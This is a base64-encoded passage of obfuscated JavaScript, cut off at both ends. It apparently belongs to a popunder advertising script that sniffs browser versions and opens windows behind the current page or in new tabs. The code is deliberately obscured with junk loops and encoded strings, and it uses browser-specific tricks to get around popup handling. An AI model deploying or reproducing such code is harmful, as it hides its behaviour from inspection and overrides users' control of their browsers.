h0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PV